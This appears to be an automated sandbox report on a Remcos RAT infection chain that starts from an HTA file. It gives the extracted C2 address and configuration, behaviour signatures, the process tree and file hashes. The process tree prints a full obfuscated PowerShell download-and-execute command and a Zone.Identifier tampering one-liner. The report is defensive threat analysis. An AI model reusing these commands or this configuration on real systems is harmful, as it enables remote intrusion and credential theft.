Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    14/10/2026, 18:36

General

  • Target
    mangobar.hta
  • Size 14KB
  • Sample261014-w85dzaxt7m
  • SHA256 18e9528268ab0ad7ce98883bd72a1738768f84a80222b1fbf7c333b912af614a
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • remcos

Version
  • 7.3.1 Pro

Botnet
  • YN

C2
  • 38.49.209.244:2313

Attributes
  • audio_folder

    MicRecords

  • audio_path

    ApplicationPath

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmc-VJYSR8

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Family: DonutLoader

    DonutLoader is a position-independent code that enables in-memory execution of VBScript, JScript, EXE, DLL files and dotNET assemblies.

  • Family: Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Detects DonutLoader 1 IoCs
  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Executes dropped EXE 1 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook profiles 1 TTPs 2 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 1 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies registry class 2 IoCs
  • NTFS ADS 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs
  • outlook_office_path 1 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\mangobar.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:1100
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" "/C POwErShELL -ex ByPAss -NOP -W 1 -eC IAAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQBXAEcAZQB0ACAAIAAgAAkAIAAJACAAHSBoAHQAdABwADoALwAvADIAMAA5AC4ANQA0AC4AMQAwADIALgAxADYAOAAvADIANwAvAGIAZQBzAHQAYwBhAG0AZQByAGEALgBKAFMAHSAgAAkACQAJAAkACQAJAAkACQAJAAkACQAtAG8AVQBUAGYAaQBMAEUAIAAgACAAIAAJACAACQAdICQAZQBuAFYAOgBhAHAAcABEAGEAVABhAFwAYgBlAHMAdABjAGEAbQBlAHIAYQAuAEoAUwAdICAACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJADsAIAAgACAAIAAmACAAIAAdICQARQBuAHYAOgBBAHAAUABkAGEAdABBAFwAYgBlAHMAdABjAGEAbQBlAHIAYQAuAEoAUwAdIA== "
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:5204
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        POwErShELL -ex ByPAss -NOP -W 1 -eC IAAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQBXAEcAZQB0ACAAIAAgAAkAIAAJACAAHSBoAHQAdABwADoALwAvADIAMAA5AC4ANQA0AC4AMQAwADIALgAxADYAOAAvADIANwAvAGIAZQBzAHQAYwBhAG0AZQByAGEALgBKAFMAHSAgAAkACQAJAAkACQAJAAkACQAJAAkACQAtAG8AVQBUAGYAaQBMAEUAIAAgACAAIAAJACAACQAdICQAZQBuAFYAOgBhAHAAcABEAGEAVABhAFwAYgBlAHMAdABjAGEAbQBlAHIAYQAuAEoAUwAdICAACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJADsAIAAgACAAIAAmACAAIAAdICQARQBuAHYAOgBBAHAAUABkAGEAdABBAFwAYgBlAHMAdABjAGEAbQBlAHIAYQAuAEoAUwAdIA== "
        3⤵
        • Badlisted process makes network request
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:5628
        • C:\Windows\SysWOW64\WScript.exe
          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\bestcamera.JS"
          4⤵
          • System Location Discovery: System Language Discovery
          • Modifies registry class
          • Suspicious use of WriteProcessMemory
          PID:4688
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\System32\cmd.exe" /c echo. > "C:\Users\Admin\AppData\Roaming\bestcamera.JS:Zone.Identifier"
            5⤵
            • Executes a command shell one-liner
            • System Location Discovery: System Language Discovery
            • NTFS ADS
            PID:5932
          • C:\Users\Admin\Documents\NEPGTVBKWUODKGQD.exe
            "C:\Users\Admin\Documents\NEPGTVBKWUODKGQD.exe" C:\Users\Admin\Documents\DQGKDOUWKBVTGPEN
            5⤵
            • Executes dropped EXE
            • Accesses Microsoft Outlook profiles
            • Reads the TCP/IP host and domain name from the registry
            • outlook_office_path
            PID:3320

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        bestcamera.JS

        • Path C:\Users\Admin\AppData\Roaming\bestcamera.JS
        • Size 4.6MB
        • SHA256 1feaac21fe7594ec627d8b4252f3c21718ca6f51fe2dedd1515e4ba6b27ea43d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        DQGKDOUWKBVTGPEN

        • Path C:\Users\Admin\Documents\DQGKDOUWKBVTGPEN
        • Size 1.1MB
        • SHA256 3a5744995d68a7e4f80236edf898237f013d46324deee63377af7180dde389f9
        • MD5 SHA1 SHA512 SSDEEP TLSH

        NEPGTVBKWUODKGQD.exe

        • Path C:\Users\Admin\Documents\NEPGTVBKWUODKGQD.exe
        • Size 467KB
        • SHA256 52f0c0230b580e2fdf53a378b5c6d0db9829af900dae43e0df8f18635cd9f0c1
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/3320-50-0x000000002A4F0000-0x000000002A500000-memory.dmp

        memory/3320-59-0x000000002A4F0000-0x000000002A500000-memory.dmp

        memory/3320-52-0x000000002A4F0000-0x000000002A500000-memory.dmp

        memory/3320-86-0x0000000000400000-0x000000000047B000-memory.dmp

        memory/3320-84-0x0000000180000000-0x000000018012C000-memory.dmp

        memory/3320-85-0x0000000180000000-0x000000018012C000-memory.dmp

        memory/3320-81-0x0000000180000000-0x000000018012C000-memory.dmp

        memory/3320-73-0x000000002A4F0000-0x000000002A500000-memory.dmp

        memory/3320-74-0x000000002A4F0000-0x000000002A500000-memory.dmp

        memory/3320-80-0x0000000002D40000-0x0000000002DEF000-memory.dmp

        memory/3320-75-0x000000002A4F0000-0x000000002A500000-memory.dmp

        memory/3320-76-0x000000002A4F0000-0x000000002A500000-memory.dmp

        memory/3320-79-0x0000000016330000-0x0000000017330000-memory.dmp

        memory/3320-77-0x000000002A4F0000-0x000000002A500000-memory.dmp

        memory/3320-78-0x000000002A4F0000-0x000000002A500000-memory.dmp

        memory/3320-63-0x000000002A4F0000-0x000000002A500000-memory.dmp

        memory/3320-65-0x000000002A4F0000-0x000000002A500000-memory.dmp

        memory/3320-36-0x000000002A4F0000-0x000000002A500000-memory.dmp

        memory/3320-37-0x000000002A4F0000-0x000000002A500000-memory.dmp

        memory/3320-38-0x000000002A4F0000-0x000000002A500000-memory.dmp

        memory/3320-39-0x000000002A4F0000-0x000000002A500000-memory.dmp

        memory/3320-40-0x000000002A4F0000-0x000000002A500000-memory.dmp

        memory/3320-44-0x000000002A4F0000-0x000000002A500000-memory.dmp

        memory/3320-43-0x000000002A4F0000-0x000000002A500000-memory.dmp

        memory/3320-42-0x000000002A4F0000-0x000000002A500000-memory.dmp

        memory/3320-41-0x000000002A4F0000-0x000000002A500000-memory.dmp

        memory/3320-48-0x000000002A4F0000-0x000000002A500000-memory.dmp

        memory/3320-47-0x000000002A4F0000-0x000000002A500000-memory.dmp

        memory/3320-46-0x000000002A4F0000-0x000000002A500000-memory.dmp

        memory/3320-45-0x000000002A4F0000-0x000000002A500000-memory.dmp

        memory/3320-49-0x000000002A4F0000-0x000000002A500000-memory.dmp

        memory/3320-66-0x000000002A4F0000-0x000000002A500000-memory.dmp

        memory/3320-67-0x000000002A4F0000-0x000000002A500000-memory.dmp

        memory/3320-53-0x000000002A4F0000-0x000000002A500000-memory.dmp

        memory/3320-68-0x000000002A4F0000-0x000000002A500000-memory.dmp

        memory/3320-54-0x000000002A4F0000-0x000000002A500000-memory.dmp

        memory/3320-56-0x000000002A4F0000-0x000000002A500000-memory.dmp

        memory/3320-55-0x000000002A4F0000-0x000000002A500000-memory.dmp

        memory/3320-57-0x000000002A4F0000-0x000000002A500000-memory.dmp

        memory/3320-61-0x000000002A4F0000-0x000000002A500000-memory.dmp

        memory/3320-60-0x000000002A4F0000-0x000000002A500000-memory.dmp

        memory/3320-51-0x000000002A4F0000-0x000000002A500000-memory.dmp

        memory/3320-58-0x000000002A4F0000-0x000000002A500000-memory.dmp

        memory/3320-64-0x000000002A4F0000-0x000000002A500000-memory.dmp

        memory/3320-62-0x000000002A4F0000-0x000000002A500000-memory.dmp

        memory/3320-72-0x000000002A4F0000-0x000000002A500000-memory.dmp

        memory/3320-71-0x000000002A4F0000-0x000000002A500000-memory.dmp

        memory/3320-70-0x000000002A4F0000-0x000000002A500000-memory.dmp

        memory/3320-69-0x000000002A4F0000-0x000000002A500000-memory.dmp

        memory/5628-15-0x0000000074C22000-0x0000000074C23000-memory.dmp

        memory/5628-16-0x0000000074C10000-0x00000000753CC000-memory.dmp

        memory/5628-0-0x0000000074C22000-0x0000000074C23000-memory.dmp

        memory/5628-1-0x0000000002F60000-0x0000000002F96000-memory.dmp

        memory/5628-3-0x0000000005C00000-0x000000000624A000-memory.dmp

        memory/5628-24-0x0000000074C10000-0x00000000753CC000-memory.dmp

        memory/5628-2-0x0000000074C10000-0x00000000753CC000-memory.dmp

        memory/5628-4-0x00000000059E0000-0x0000000005A02000-memory.dmp

        memory/5628-5-0x0000000005B80000-0x0000000005BE6000-memory.dmp

        memory/5628-14-0x0000000006D00000-0x0000000006D1A000-memory.dmp

        memory/5628-17-0x0000000074C10000-0x00000000753CC000-memory.dmp

        memory/5628-13-0x00000000080D0000-0x000000000874C000-memory.dmp

        memory/5628-12-0x0000000006800000-0x000000000684C000-memory.dmp

        memory/5628-11-0x0000000006750000-0x000000000676E000-memory.dmp

        memory/5628-10-0x00000000062C0000-0x000000000661B000-memory.dmp

        memory/5628-7-0x0000000074C10000-0x00000000753CC000-memory.dmp

        memory/5628-6-0x0000000006250000-0x00000000062B6000-memory.dmp